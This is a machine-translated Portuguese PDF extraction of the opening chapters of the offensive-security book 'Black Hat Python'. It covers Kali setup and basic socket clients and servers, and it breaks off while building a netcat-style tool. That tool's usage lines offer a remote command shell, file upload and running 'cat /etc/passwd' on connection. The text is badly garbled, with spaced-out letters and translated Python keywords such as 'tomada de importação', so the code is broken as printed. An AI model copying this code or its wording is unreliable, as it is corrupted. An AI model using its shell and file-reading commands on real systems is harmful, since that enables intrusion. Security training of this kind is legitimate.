Black Hat Python Para Hackers e Pentesters.pdf

8/17/2019 Black Hat Python Para Hackers e Pentesters.pdf

1/114

17/02/2016 C: \ U sers \ Johan \ Desktop \ Johan \ Hacker \ Minha pasta \ BlackHat.Python_ Python.Programm ing.for.Hackers.and.Pentesters_ [www.graym in…

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym… 1/114

Black Hat Python: Programação Python paraHackers e Pentesters

Justin Seitz

Publicado por No Starch Press


2/114



para PatEmb o ra n u n c a c o n h e c i, e sto u e te rn a me n te g ra to p a ra c a d a me mb ro d e su a fa mília ma ra v ilh o sa q u e me d e u .Ca n a d ia n Ca n c e r So c ie ty www.cancer.ca

Sobre o autorJustin S eitz é um pesquisador sênior de segurança Immunity, Inc., onde ele passa sua caça bug tempo,e n g e n h a r i a r e v e r s a , e s c r e v e r e x p l o i t s , e c o d i f i c a ç ã o P y t h o n . E l e é o a u t o r d e cinza Hat Python , o

primeiro livro para cobrir P ython para análise de seguran ça.


3/114



Sobre os Revisores TécnicosDan F risch tem mais de dez anos de experiência em segurança da informação. Atualmente, ele é um sênior de segurançaanalista em uma agência de aplicação da lei canadense. Antes que o papel, ele trabalhou como consultor fornecendoavaliações de segurança para as empresas financeiras e de tecnologia na América do Norte. P orque ele está obcecado comtecnologia e possui uma faixa preta terceiro grau, você pode assumir (corretamente) que toda a sua vida é baseadaem torno A Matrix .

Desde os primeiros dias do Commodore P ET e VIC-20, a tecnologia tem sido um companheiro constante (eàs vezes uma obsessão!) para Cliff Janzen. Cliff descobriu sua paixão carreira, quando ele se mudou parasegurança da informação em 2008, após uma década de operações de TI. Durante os últimos anos tem sido Cliff felizmente empregado como um consultor de segurança, fazendo tudo de revisão da política de testes de penetração,e ele se sente sortudo por ter uma carreira que é também o seu passatempo favorito.

PrefácioP y t h o n a i n d a é a l í n g u a d o m i n a n t e n o m u n d o d a s e g u r a n ç a d a i n f o r m a ç ã o , m e s m o s e a c o n v e r s acerca de idioma de sua escolha, por vezes, parece mais uma guerra religiosa. ferramentas baseadas em Python incluem


4/114



todos os tipos de fuzzers, proxies, e até mesmo o ocasional explorar. Exploit framew orks como CA N V A Ssão escritos em Python como são ferramentas mais obscuros como PyEmu ou Sulley.

A penas sobre cada fuzzer ou explorar tenho escrito tem estado em Python. D e fato, a pirataria automóvel pesquisa que Chris V alasek e eu realizada recentemente continha uma biblioteca para injetar mensagens CA N sobre

s u a r e d e a u t o m o t i v a u s a n d o P y t h o n !

Se você está interessado em mexer com as tarefas de segurança da informação, Python é uma grande linguagem de aprender por causa do grande número de engenh aria e exploração bibliotecas reversa disponíveis para seu uso.

A gora, se apenas os desenvolvedores Metasploit viria a seus sentidos e mudar em Ruby, Python,nossa comunidade estariam unidos.

N este novo livro, Justin cobre uma grande variedade de tópicos que um jovem hacker empreende dor seria necessário para sair do chão. Ele inclui instruções passo a passo de como ler e escrever pacotes de rede, como

farejar a rede, bem como qualquer coisa que você pode precisar para auditoria de aplicações w eb e de ataque. Eleem seguida, passa mergulho de tempo significativa em como escrever código para lidar com especificidades de atacar Sistemas Window s. Em geral, Preto Hat Python é uma leitura divertida, e enquanto ele não pode transformá-lo em umSuper hacker de golpe como eu, certamente pode ajudar a começar no caminho. Lembre-se, adiferença entre script kiddies e profissionais é a diferença entre simplesmente usando outraferramentas das pes s oas e es crever o s eu próprio.

Charlie M iller

St. Louis, Missouri

setembro 2014

Prefáciohacker de Python. Essas são duas palavras que você realmente poderia usar para me descrever. N o Immunity, eu tenho sortesuficiente para trabalhar com pessoas que realmente, realmente, sabe codificar Python. Eu não sou um daqueles

pessoas. Eu passo grande parte do meu tempo de testes de penetração, e isso exige ferramenta Python rápidadesenvolvimento, com foco na execução e entrega de resultados (não necessariamente em beleza,optimization, ou mesmo a estabilidade). A o longo deste livro você vai aprender que é assim que eu código, mas eu tambémsinto como se fosse parte do que me um pentester forte faz. Espero que esta filosofia e estiloa j u d a a v o c ê t a m b é m .

Como você progride através do livro, você também vai perceber que eu não tome mergulhos profundos em um únicotema. Isso ocorre por design. Eu quero dar-lhe o mínimo, com um pouco de sabor, para que você tenhaalgum conhecimento fundamental. Com isso em mente, eu polvilhado ideias e trabalhos de casaao longo do livro para alavancar-lo em sua própria direção. Encorajo-vos a aprofundar estas ideias, eG ostaria muito de ouvir de volta qualquer uma das suas próprias implementações, as atribuições de ferramental, ou de trabalhos de casa que

você tem feito.Como acontece com qualquer livro técnico, os leitores em diferentes níveis de habilidade com o Python (ou a segurança da informação nogeral) vai experimentar este livro de forma diferente. A lguns de vocês podem simplesmente agarrá-lo e prender capítulos quesão pertinentes para um show de consultoria que se encontra, enquanto outros podem lê-lo de capa a capa. eu iriarecomendam que se você é um novato para programador Python intermediário que você começar no iníciodo livro e lê-lo em linha reta através em ordem. V ocê vai pegar alguns blocos de construção bons ao longoo caminho.

Para começar, eu estabelecer alguns fundamentos de rede no Capítulo 2 e trabalhar lentamente o nosso caminho atravéssoquetes brutos em Capítulo 3 e usando scapy no Capítulo 4 para algumas ferramentas de rede mais interessante.A próxima seção do livro trata de aplicações w eb de hacking, começando com seu próprio costumeferramental no Capítulo 5 e depois estendendo a Suíte A rrotar popular no Capítulo 6. A partir daí vamosgastam uma grande quantidade de tempo a falar de trojans, começando com o comando G itH ub e controle emCapítulo 7, toda a maneira através do Capítulo 10 , onde nós vai cobrir algum do Window s privilégio escaladatruques. O último capítulo é sobre o uso de volatilidade para automatizar algumas forense de memória ofensivos

técnicas.Eu tento manter as amostras de código curto e direto ao ponto, e o mesmo vale para as explicações. Se você érelativamente novo para Python Encorajo-vos a perfurar cada linha para obter essa memória muscular de codificaçãoindo. Todos os exemplos de código-fonte deste livro estão disponíveis emhttp://nostarch.com/blackhatpython/ .

A qui vamos nós!


5/114



AgradecimentosEu gostaria de agradecer a minha família - minha linda esposa, Clare, e meus cinco filhos, Emily, Carter,C o h e n , B r a d y , e M a s o n - p a r a t o d o o i n c e n t i v o e t o l e r â n c i a e n q u a n t o e u p a s s e i u m a n o emetade da minha vida escrevendo este livro. Meus irmãos, irmã, mãe, pai, e P aulette também têm me dado ummuita motivação para continuar a empurrar através de não importa o quê. Eu amo todos vocês.

P ara todos os meus pessoas no Immunity (gostaria de listar cada um de vocês aqui se eu tinha o quarto): obrigado por me tolerar diariamente. Você é realmente uma equipe incrível de se trabalhar. P ara a equipe da No S tarch - Tyler,Bill, S erena, e Leigh - muito obrigado por todo o trabalho duro que você colocou este livro e o restoe m s u a c o l e ç ã o . T o d o s n ó s a p r e c i á - l o .

Eu também gostaria de agradecer aos meus revisores técnicos, Dan F risch e Cliff Janzen. Esses caras digitadase c r i t i c a d o c a d a l i n h a d e c ó d i g o , e s c r e v e u a p o i a n d o c ó d i g o , f e z e d i ç õ e s , e d e s d e a b s o l u t a m e n t eincrível apoio durante todo o processo. Qualquer pessoa que está escrevendo um livro infosec deve realmenteo b t e r e s s e s c a r a s a b o r d o ; e l e s f o r a m s u r p r e e n d e n t e s e e n t ã o a l g u n s .

P ara o resto de vocês rufiões que compartilham bebe, ri e Gchats: obrigado por me deixar irritar e gemidocom você sobre escrever este livro.

Capítulo 1. Configurando o PythonMeio AmbienteEste é o menos divertido - mas, no entanto crítica - parte do livro, onde nós caminhamos através da criação deum ambiente em que para escrever e testar P ython. Nós vamos fazer um curso intensivo de criação de ummáquina de Kali Linux virtual (VM) e instalar um bom IDE para que você tenha tudo que você precisadesenvolver código. Até o final deste capítulo, você deve estar pronto para enfrentar os exercícios e códigoexemplos no restante do livro.

Antes de começar, vá em frente e baixar e instalar VMWare P layer. [1] E u t a m b é m r e c o m e n d o q u evocê tem alguns Windows VMs no pronto, bem como, incluindo Windows XP e Windows 7,d e p r e f e r ê n c i a d e 3 2 b i t s e m a m b o s o s c a s o s .


6/114



Instalando Kali LinuxKali é o sucessor a distribuição BackTrack Linux, desenhado por Offensive S ecurity a partir domoído como um sistema operacional de teste de penetração. Ele vem com uma série de ferramentas pré-instaladas e

é b a s e a d o n o D e b i a n L i n u x , e n t ã o v o c ê t a m b é m v a i s e r c a p a z d e i n s t a l a r u m a g r a n d e v a r i e d a d e d e f e r r a m e n t a s a d i c i o n a i s e bibliotecas para além do que está no OS para começar.

P rimeiro, pegue uma imagem Kali VM a partir do seguinte URL: http://images.offensive-security.com/kali-linux-1.0.9-vm-i486.7z [2]. Baixar e descompactar a imagem, e em seguida, clique duplo -lo para fazer V M W a r e P l a y e r a q u e c ê - l a . O n o m e d e u s u á r i o p a d r ã o é raiz e a s e n h a é toor . I s t o d e v e d a r p a r ano meio ambiente de trabalho completo Kali como mostrado na F igura 1-1.

F igura 1-1. O desktop Linux Kali

A primeira coisa que vamos fazer é garantir que a versão correta do P ython está instalado. Este livrov a i u s a r P y t h o n 2 . 7 p o r t o d a p a r t e . N o s h e l l ( Aplicativos ▸ Acessórios ▸ Terminal ), execute oS e g u e :

root @ kali: ~ # pyt hon --v ers ionPython 2.7.3root @ kali: ~ #

S e v o c ê b a i x o u a i m a g e m e x a t a q u e e u r e c o m e n d a d o a c i m a , P y t h o n 2 . 7 s e r á a u t o m a t i c a m e n t ei n s t a l a d o . P o r f a v o r , n o t e q u e o u s o d e u m a v e r s ã o d i f e r e n t e d o P y t h o n p o d e q u e b r a r a l g u n s d o s e x e m p l o s d e c ó d i g oneste livro. Você foi avisado.

Agora vamos adicionar algumas peças úteis de gerenciamento de pacotes P ython sob a forma de easy_install epip . Estes são muito como o apt pacote gerente , porque eles permitem que você para diretamente instalar P ython

bibliotecas, sem ter que baixar manualmente, desempac otar e instalá-los. Vamos instalar esses doisg e r e n c i a d o r e s d e p a c o t e s , e m i t i n d o o s s e g u i n t e s c o m a n d o s :

root @ kali: ~ #: apt-get instalar o python-setuptools python-pip

Quando os pacotes são instalados, podemos fazer um teste rápido e instalar o módulo que vamos usar emCapítulo 7 para construir um baseado no GitHub trojan. Digite o seguinte em seu terminal:

root @ kali: ~ #: pip instalar github3.py

Você deve ver uma saída no seu terminal indicando que a biblioteca está sendo baixados e instalados.


7/114



Em seguida, cair em um shell P ython e validar que ele foi instalado corretamente:

root @ kali: ~ #: pythonPython 2.7.3 (padrão, 14 de março de 2014, 11:57:14)[GCC 4.7.2] no linux2Type "help", "copyright", "créditos" ou "licença" para mais informações.>>> Import github3>>> Exit ()

S e os resultados não são idênticos a estes, em seguida, há um "erro de configuração" no seu ambiente P ythone v o c ê t r o u x e g r a n d e v e r g o n h a p a r a o n o s s o d o j o P y t h o n ! N e s t e c a s o , c e r t i f i q u e - s e d e q u e v o c ê s e g u i u t o d o s o s

passos acima e que você tem a versão correta do Kali.

T e n h a e m m e n t e q u e p a r a a m a i o r i a d o s e x e m p l o s a o l o n g o d e s t e l i v r o , v o c ê p o d e d e s e n v o l v e r s e u c ó d i g o e m u m a v a r i e d a d e d eambientes, incluindo Mac, Linux e Windows. Há alguns capítulos que são Windows-

específico, e eu vou ter certeza de que você saiba no início do capítulo.Agora que temos a nossa máquina virtual hackers configurar, vamos instalar um P ython IDE para o desenvolvimento.

WingIDEE nquanto eu nor malmente não def endo pr odutos de sof twar e comer ciais, WingI DE é o melhor I DE que eu tenhoutilizado nos últimos sete anos na imunidade. WingIDE fornece toda a funcionalidade básica IDE como o auto-c o n c l u s ã o e e x p l i c a ç ã o d o s p a r â m e t r o s d a f u n ç ã o , m a s a s u a d e p u r a ç ã o r e c u r s o s s ã o o q u e o d i f e r e n c i aa partir de outros IDEs. Vou dar-lhe um rápido resumo da versão comercial do WingIDE, mas deC l a r o q u e v o c ê d e v e e s c o l h e r q u a l q u e r v e r s ã o é m e l h o r p a r a v o c ê . [3]

Você pode pegar WingIDE de http://www.wingware.com/ , e e u r e c o m e n d o q u e v o c ê i n s t a l e o j u l g a m e n t o p a r aque você pode experimentar em primeira mão algumas das funcionalidades disponíveis na versão comercial.

Você pode fazer o seu desenvolvimento em qualquer plataforma que você deseja, mas que poderia ser melhor para instalar WingIDE emseu Kali VM, pelo menos para começar. S e você seguiu junto com minhas instruções, até agora, certifique-seq u e v o c ê b a i x a r o 3 2 - b i t .deb pacote para WingIDE, e guardá-lo para o diretório do usuário. Entãocair em um terminal e execute o seguinte:

root @ kali: ~ # dpkg -i wingide5_5.0.9-1_i386.deb

Este deve instalar WingIDE como planejado. S e você receber qualquer erro de instalação, pode haver não atendidad e p e n d ê n c i a s . N e s t e c a s o , b a s t a e x e c u t a r :

root @ kali: ~ # apt-get -f instalar

Isso deve resolver quaisquer dependências que estão faltando e instalar WingIDE. P ara verificar se você instalou-loc o r r e t a m e n t e , v e r i f i q u e s e v o c ê p o d e a c e s s á - l o , c o m o m o s t r a d o n a F i g u r a 1 - 2 .


8/114



Figur a 1-2. Aces s ando WingIDE a par tir do des ktop Kali

F ogo até WingIDE e abrir um novo arquivo de P ython em branco. Em seguida, acompanhar como eu dou-lhe um rápido resumode alguns recursos úteis. P ara começar, sua tela deve ser semelhante a F igura 1-3, com o seu código principalá r e a d e e d i ç ã o n o c a n t o s u p e r i o r e s q u e r d o e u m c o n j u n t o d e g u i a s n a p a r t e i n f e r i o r .

Figur a 1-3. layout da janela pr incipal WingIDE

Vamos escrever um código simples para ilustrar algumas das funções úteis do WingIDE, incluindo aDebug sonda e dados S tack guias. P erfurar o seguinte código para o editor:

soma def (NUMBER_ONE, NUMBER_TWO):


9/114



number_one_int = convert_integer (NUMBER_ONE)number_two_int = convert_integer (NUMBER_TWO)

result = number_one_int + number_two_int

resultado de retorno

convert_integer def (number_string):

converted_integer = int (number_string)converted_integer retorno

answer = sum ( "1", "2")

Este é um exemplo muito artificial, mas é uma excelente demonstração de como fazer sua vida mais fácilcom WingIDE. Guardá-lo com qualquer nome de arquivo que você deseja, clique no Debug item de menu e selecione oSelectCorrente Principal Debug arquivo como o p ç ã o , c o m o m o s t r a d o n a F i g u r a 1 - 4 .

Figur a 1-4. Definir o s cr ipt Python atual par a depur ação

A g o r a d e f i n i r u m p o n t o d e i n t e r r u p ç ã o n a l i n h a d e c ó d i g o q u e d i z :

converted_integer retorno

V o c ê p o d e f a z e r i s s o c l i c a n d o n a m a r g e m e s q u e r d a o u p r e s s i o n a n d o a t e c l a F 9 . V o c ê d e v e r á v e r u m p e q u e n o p o n t o v e r m e l h oa p a r e c e r n a m a r g e m . A g o r a e x e c u t e o s c r i p t p r e s s i o n a n d o F 5 , e e x e c u ç ã o d e v e p a r a r e m s e u p o n t o d e i n t e r r u p ç ã o .Clique na pilha de dados g u i a e v o c ê d e v e v e r u m a t e l a c o m o a d a F i g u r a 1 - 5 .

O guia Dados S tack vai nos mostrar algumas informações úteis, tais como o estado de qualquer local evariáveis globais no momento em que o nosso ponto de interrupção foi atingido. Isto permite-lhe depurar mais avançadoc ó d i g o o n d e v o c ê p r e c i s a i n s p e c i o n a r v a r i á v e i s d u r a n t e a e x e c u ç ã o p a r a r a s t r e a r e r r o s . S e v o c ê c l i c a r n o d r o pd o w n b a r , v o c ê t a m b é m p o d e v e r a p i l h a d e c h a m a d a s a t u a l , q u e l h e d i z q u e f u n ç ã o c h a m a d a a f u n ç ã ovocê está atualmente dentro. Ter um olhar para a F igura 1-6 para ver o rastreamento de pilha.


10/114


file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray… 10/114

Figur a 1-5. Vis ualiz ação de dados pilha após uma batida de ponto de inter rupção

Figur a 1-6. Exibindo o r as treamento de pilha atual

P o d e m o s v e r q u e convert_integer f o i c h a m a d o a p a r t i r d a soma d e f u n ç ã o n a l i n h a 3 d o n o s s o s c r i p t P y t h o n .I s s o s e t o r n a m u i t o ú t i l s e v o c ê t i v e r c h a m a d a s d e f u n ç ã o r e c u r s i v a o u u m a f u n ç ã o q u e é c h a m a d o d e m u i t o s

pot e n c i a i s l oc a i s. Usa nd o a gui a Da dos Pi l ha vi rá e m mui t o út i l e m sua Pyt hon de se n vol vi me n t o de c a rre i ra !

A p r ó x i m a c a r a c t e r í s t i c a i m p o r t a n t e é o s e p a r a d o r d e d e p u r a ç ã o P r o b e . E s s a g u i a p e r m i t e q u e v o c ê c a i r e m u m s h e l l P y t h o n q u e ée x e c u ç ã o d e n t r o d o c o n t e x t o a t u a l d o m o m e n t o e x a t o e m q u e o p o n t o d e i n t e r r u p ç ã o f o i a t i n g i d o . I s s o p e r m i t e q u e v o c ê i n s p e c i o n ee m o d i f i c a r v a r i á v e i s , b e m c o m o f r a g m e n t o s p e q u e n o s d e e s c r i t a d o c ó d i g o d e t e s t e p a r a e x p e r i m e n t a r n o v a s i d e i a s o u as o l u c i o n a r p r o b l e m a s . F i g u r a 1 - 7 d e m o n s t r a c o m o i n s p e c i o n a r o converted_integer v a r i á v e l e m u d a n ç ao s e u v a l o r .


11/114



Figur a 1-7. Us ando Debug Pr obe par a ins pecionar e modificar as var iáveis locais

Depois de fazer algumas modificações, pode retomar a execução do script, pressionando F 5.

Mesmo que este é um exemplo muito simples, ele demonstra alguns dos recursos mais úteis do

WingIDE para desenvolver e depurar scripts em P ython.[4]

É t u d o o q u e p r e c i s a p a r a c o m e ç a r a d e s e n v o l v e r o c ó d i g o p a r a o r e s t o d e s t e l i v r o . N ã o s e e s q u e ç a s o b r etornando máquinas virtuais pronto, como máquinas de destino para os capítulos específicos do Windows, mas é clarou s a n d o h a r d w a r e n a t i v o n ã o d e v e a p r e s e n t a r q u a i s q u e r p r o b l e m a s .

Agora vamos entrar em algum divertimento real!

[1] Você pode baixar o VM War e Player http://www. vmwar e. com/ .

[2] P a r a o b t e r u m a l i s t a " c l i c á v e l " d o s l i n k s n e s t e c a p í t u l o , v i s i t e http://nostarch.com /blackhatpython/ .

[3] Para uma comparação de recursos entre as versões, visite https://wingware.com/wingide/features/ .

[4] Se v o c ê já u sa u m IDE q u e te m c a ra c te rístic a s c o mp a rá v e is à s Win g IDE, p o r fa v o r e n v ie -me u m e -ma il o u u m twe e t, p o rq u e e u a d o ra riao u v ir so b re isso !

Capítulo 2. A Rede: BasicsA r e d e é e s e m p r e s e r á o m a i s s e x y a r e n a p a r a u m h a c k e r . U m a t a c a n t e p o d e f a z e r q u a s e q u a l q u e r c o i s acom acesso à rede simples, como digitalização para os anfitriões, injetar pacotes, farejar dados, remotamente explorar anfitriões,e m u i t o m a i s . M a s s e v o c ê é u m a t a c a n t e q u e j á t r a b a l h o u s e u c a m i n h o p a r a a s p r o f u n d e z a s m a i s p r o f u n d a s d e u m- a l v o d a e m p r e s a , v o c ê p o d e e n c o n t r a r - s e e m u m p o u c o d e u m d i l e m a : v o c ê t e m n e n h u m a f e r r a m e n t a p a r a e x e c u t a r r e d eataques. S em netcat. No Wireshark. S em compilador e sem meios para instalar um. No entanto, você pode ser s u r p r e s o s a o d e s c o b r i r q u e , e m m u i t o s c a s o s , v o c ê e n c o n t r a r á i n s t a l a r u m P y t h o n , e d e m o d o q u e é o n d e v a m o s c o m e ç a r .

Este capítulo vai lhe dar algumas noções básicas sobre P ython rede usando o soquete [5] m ó d u l o . A o l o n g o d eforma, vamos construir clientes, servidores e um proxy TCP ; e, em seguida, transformá-los em nosso próprio netcat,completo com shell de comando. Este capítulo é a base para os capítulos subsequentes em quevai construir uma ferramenta de descoberta de hosts, implementar sniffers multi-plataforma, e criar um trojan remotoes trutura. V amos começar.


12/114



Networking Python em um parágrafoOs programadores têm um número de ferramentas de terceiros para criar servidores de rede e clientes em P ython,mas o módulo central para todas essas ferramentas é tomada . Este módulo expõe todas as peças necessárias

para escrever rapidamente clientes e servidores TCP e UDP , utilize sockets raw, e assim por diante. P ara efeitos deq u e b r a o u m a n u t e n ç ã o d o a c e s s o a m á q u i n a s d e d e s t i n o , e s t e m ó d u l o é t u d o q u e v o c ê r e a l m e n t e p r e c i s a . V a m o s c o m e ç a r criando alguns clientes simples e servidores, os dois scripts rápidos da rede mais comuns que você vai escrever.

cliente TCPHouve inúmeras vezes durante os testes de penetração que eu necessários para chicotear acima de um cliente TCP parat e s t e p a r a s e r v i ç o s , e n v i a r d a d o s d e l i x o , f u z z , o u q u a l q u e r n ú m e r o d e o u t r a s t a r e f a s . S e v o c ê e s t i v e r t r a b a l h a n d o d e n t r o d olimites de grandes ambientes corporativos, você não terá o luxo de ferramentas de redes oucompiladores, e às vezes você vai mesmo estar faltando os princípios absolutos como a capacidade de copiar / colar ouuma conexão com a Internet. Este é o lugar onde ser capaz de criar rapidamente um cliente TCP vem em extremamentecalhar. Mas jabbering suficiente - vamos começar a codificação. Aqui é um cliente TCP simples.

tomada de importação

target_host = "www.google.com"target_port = 80

# Criar um objeto de soquete➊ cliente = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

# Conectar o cliente➋ client.connect ((target_host, target_port))

# Enviar alguns dados➌ client.send ( "GET / HTTP / 1.1 \ r \ nHost: google.com r \ n \ r \ n \")

# Receber alguns dados➍ resposta = client.recv (4096)

resposta de impressão


13/114



Em primeiro lugar, criar um objeto de soquete com o AF_INET eSOCK_STREAM parâmetros➊ . oAF_INET parâmetro está dizendo que vamos usar um endereço padrão IPv4 ou nome do host e SOCK_STREAM

indica que este será um cliente TCP. Em seguida, conectar o cliente para o servidor ➋ e enviá-lo algunsd a d o s ➌ . O último passo é receber alguns dados de volta e imprimir a resposta➍ . Este é o mais simplesforma de um cliente TCP, mas o que você vai escrever na maioria das vezes.

N o trecho de código acima, estamos fazendo algumas hipóteses sérias sobre soquetes que você definitivamentequer estar ciente. O primeiro pressuposto é que a nossa conexão sempre terá êxito, ea segundaé que o servidor é sempre que esperam para enviar dados primeiro (em oposição aos servidores que esperar para enviar dados para você em primeiro lugar e aguardam a sua resposta). N ossa terceira suposição é que o servidor sempre envie-nosdados de volta em tempo hábil. Fazemos essas suposições em grande parte por causa da simplicidade. Enquanto

programadores têm opiniões variadas sobre como lidar com soquetes de bloqueio, lidar com exceçõ es no

sockets, e assim por diante, é muito raro para pentesters para construir essas sutilezas nas ferramentas rápidas e sujo para reconhec imento ou o trabalho de exploração , por isso vamos omiti-los neste capítulo.

cliente UDPUm cliente P ython UDP não é muito diferente do que um cliente TCP ; nós precisamos fazer apenas duas pequenas alterações

para obtê-lo para enviar pacotes em forma UDP .

tomada de importação

target_host = "127.0.0.1"target_port = 80

# Criar um objeto de soquete➊ cliente = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)

# Enviar alguns dados➋ client.sendto ( "aaabbbccc", (target_host, target_port))

# Receber alguns dados➌ de dados, endereço = client.recvfrom (4096)

dados de impressão

C o m o v o c ê p o d e v e r , n ó s a l t e r a r o t i p o d e s o q u e t e p a r a SOCK_DGRAM ➊ ao criar o objeto socket. o

próximo passo é simplesmente chamar sendto ()➋

, p a s s a n d o o s d a d o s e o s e r v i d o r q u e p r e t e n d e e n v i a r o s d a d o s para. Como o UDP é um protocolo sem conexã o, não há nenhu ma chamada para connect () de antemão. O último passo é chamar recvfrom () ➌ para receber dados UDP de volta. Você também vai notar que ele retorna tanto a

d e d a d o s e o s d e t a l h e s d o h o s t r e m o t o e p o r t a .

M a i s u m a v e z , n ó s n ã o e s t a m o s o l h a n d o p a r a s e r p r o g r a m a d o r e s d e r e d e s u p e r i o r e s ; q u e r e m o s s e r r á p i d o , f á c i l econfiável o suficiente para lidar com as nossas tarefas de hackers do dia-a-dia. Vamos passar a criar algumas simplesser vidor es.

TCP ServerCriando servidores TCP em P ython é tão fácil quanto criar um cliente. Você pode querer usar o seu próprios e r v i d o r T C P a o e s c r e v e r s h e l l s d e c o m a n d o o u a e l a b o r a ç ã o d e u m a p r o x y ( s e n d o q u e a m b o s v a m o s f a z e r m a i s t a r d e ) . V a m o scomeçar por criar um servidor TCP multi-rosca padrão. Marcha para fora o código abaixo:

tomada de importaçãorosqueamento de importação


14/114



bind_ip = "0.0.0.0"bind_port = 9999

server = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

➊ server.bind ((bind_ip, bind_port))

➋ server.listen (5)

print "[*] Ouvir on% s:% d"% (bind_ip, bind_port)

# Este é o nosso segmento de tratamento de cliente➌ def handle_client (client_socket):

# Imprimir o que o cliente enviarequest = client_socket.recv (1024)

print "[*] recebida:% s" pedido%

# Enviar de volta um pacoteclient_socket.send ( "ACK!")

client_socket.close ()

while True:

➍ cliente, addr = server.accept ()

print "[*] conexão aceites a partir de:% s:% d"% (addr [0], addr [1])

# Girar o nosso segmento do cliente para lidar com dados de entradaclient_handler = threading.Thread (target = handle_client, args = (cliente,))

➎ client_handler.start ()

Para começar, nós passamos o endereço IP ea porta que deseja que o servidor para escutar em ➊ . Em seguida nós dizer aservidor para começar a ouvir ➋ com um atraso máximo de conexões definidas para 5. Em seguida, colocar o servidor em seu loop principal, onde ele está esperando por uma conexão de entrada. Q uando um cliente se conecta ➍ , n ó sreceber socket o cliente para o cliente variável, e os detalhes de conexão remota para o endereçovariável. Em seguida, criar um novo objeto de discussão que aponta para o nosso handle_client f u n ç ã o , e p a s s a m o sque o objeto socket cliente como um argumento. Em seguida, iniciar o thread para lidar com a conexão do cliente ➎ ,e nosso principal loop de servidor está pronto para lidar com outra conexão de entrada. O handle_client ➌f u n ç ã o e x e c u t a o recv () e, em seguida, envia uma mensagem simples para o cliente.

Se você usa o cliente TCP que construímos anteriormente, você pode enviar alguns pacotes de teste para o servidor e vocêdeve ver uma saída semelhante ao seguinte:

[*] Escuta em 0.0.0.0:9999[*] Conexão aceites a partir de: 127.0.0.1:62512[*] Recebida: ABCDEF

É isso aí! Muito simples, mas esta é uma peça muito útil de código que se estenderá nos próximos doisde secções quando nós construímos um substituto netcat e um proxy TCP.

substituindo Netcat Netcat é a faca do trabalho em rede, por isso é nenhu ma surpresa que os administradores de sistemas astutos remover

-lo a partir de seus sistemas. Em mais de uma ocasião, eu correr em servidores que não têm netcatinstalado, mas tenho P ython. Nestes casos, é útil para criar um cliente de rede simples e servidor q u e v o c ê p o d e u s a r p a r a e m p u r r a r o s a r q u i v o s , o u d e t e r u m o u v i n t e q u e l h e d á a c e s s o d e l i n h a d e c o m a n d o . S e v o c ê t i v e r q u e b r a d a n o m e i o d e u m a a p l i c a ç ã o w e b , é d e f i n i t i v a m e n t e v a l e a p e n a d e i x a r c a i r u m a c h a m a d a d e r e t o r n o P y t h o n p a r a l h e d a r acesso secundário sem ter que primeiro queimar um de seus trojans ou backdoors. Criação de uma ferramenta comoe s t e é t a m b é m u m g r a n d e e x e r c í c i o P y t h o n , e n t ã o v a m o s c o m e ç a r .

sys importaçãotomada de importaçãogetopt importaçãorosqueamento de importaçãosubprocess importação

# Definir algumas variáveis globaisouço = False

comando = FalseEnvio = Falseexecutar = ""

alvo = ""upload_destination = ""porta = 0

A qui, estamos apenas a importação de todas as nossas bibliotecas necessárias e definir algumas variáveis globais. N ãotrabalho pesado ainda.

A gora vamos criar a nossa função principal responsável pelo tratamento de argumentos de linha de comando e chamando oresto de nossas funções.➊ def uso ():

print "Ferramenta Net BHP"impressãoprint "Uso: bhpnet.py -t target_host -p port"print "-l --listen - Escutar em [host]: [port] para

conexões de entrada "print "-e --execute = file_to_run - executar o arquivo fornecido em cima

receber uma ligação "print "-c --command - Inicializar um shell de comando "print "-u --upload = destino - ao receber conexão carregar um

arquivo e gravar em [destino] "impressão

impressãoimpressão "Exemplos:"print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"print "bhpnet.py -t 192.168.0.1 -p 5555 -l-u = c: \\ target.exe"print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e = \" cat / etc / passwd \ ""print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"sys.exit (0)

def main ():mundial ouvirport mundial


15/114



global de execuçãocomando globalupload_destination mundialmeta global

se não len (sys.argv [1:]):uso()

# Ler as opções de linha de comando

➋ experimentar:

opta, args = getopt.getopt (sys.argv [1:] ", hle: t: p: cu:",[ "Ajuda", "ouvir", "executar", "alvo", "port", "comando", "upload"])

exceto getopt.GetoptError como err:str impressão (err)uso()

para o, uma em opta:Se o in ( "-h", "- help"):

uso()elif o in ( "-l", "- ouça"):

ouça = Trueelif o in ( "-e", "--execute"):

executar um =elif o in ( "c", "--commandshell"):

comando = trueelif o in ( "u", "--upload"):

upload_destination = umelif o in ( "-t", "--target"):

target = aelif o in ( "-p", "--port"):

porto = int (a)outro:

afirmam False, "Option não tratada"

# Vamos ouvir ou apenas enviar dados de stdin?➌ se não ouvir e len (alvo) e port> 0:

# Lido no buffer a partir da linha de comando# Isto irá bloquear, então enviar CTRL-D, se não enviar entrada# Para stdintampão sys.stdin.read = ()

# Enviar dados offclient_sender (buffer)

# Vamos ouvir e potencialmente# Upload de coisas, executar comandos, e soltar um shell de volta# Dependendo de nossas opções de linha de comando acimase ouvir:

➍ server_loop ()

a Principal()

Começamos a leitura em todas as opções de linha de comando ➋ e definir as variáveis necessáriasdependendo das opções que detectam. Se qualquer um dos parâmetros de linha de comando não correspondem aos nossos critérios,que imprimir informações de uso útil ➊ . No próximo bloco de código➌ , estamos a tentar imitar netcat

para ler dados de stdin e enviá-lo através da rede. Como se observa, se você planeja enviar dadosinterativamente, você precisa enviar um CTRL -D para ignorar a leitura stdin. A peça final➍ é onde nós

detectar que estamos a criar um socket de escuta e processar outros comandos (upload de um arquivo, executar umcomando, inicie um shell de comando).

Agora vamos começar a colocar no encanamento para algumas destas características, começando com o nosso código de cliente. Adicionar o seguinte código acima da nossa principal função.

client_sender def (buffer):

client = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

experimentar:# Ligar para o nosso host de destinoclient.connect ((destino, porta))

➊ if len (buffer):client.send (buffer)

while True:

# Agora esperar por dados de voltarecv_len = 1resposta = ""

➋ enquanto recv_len:

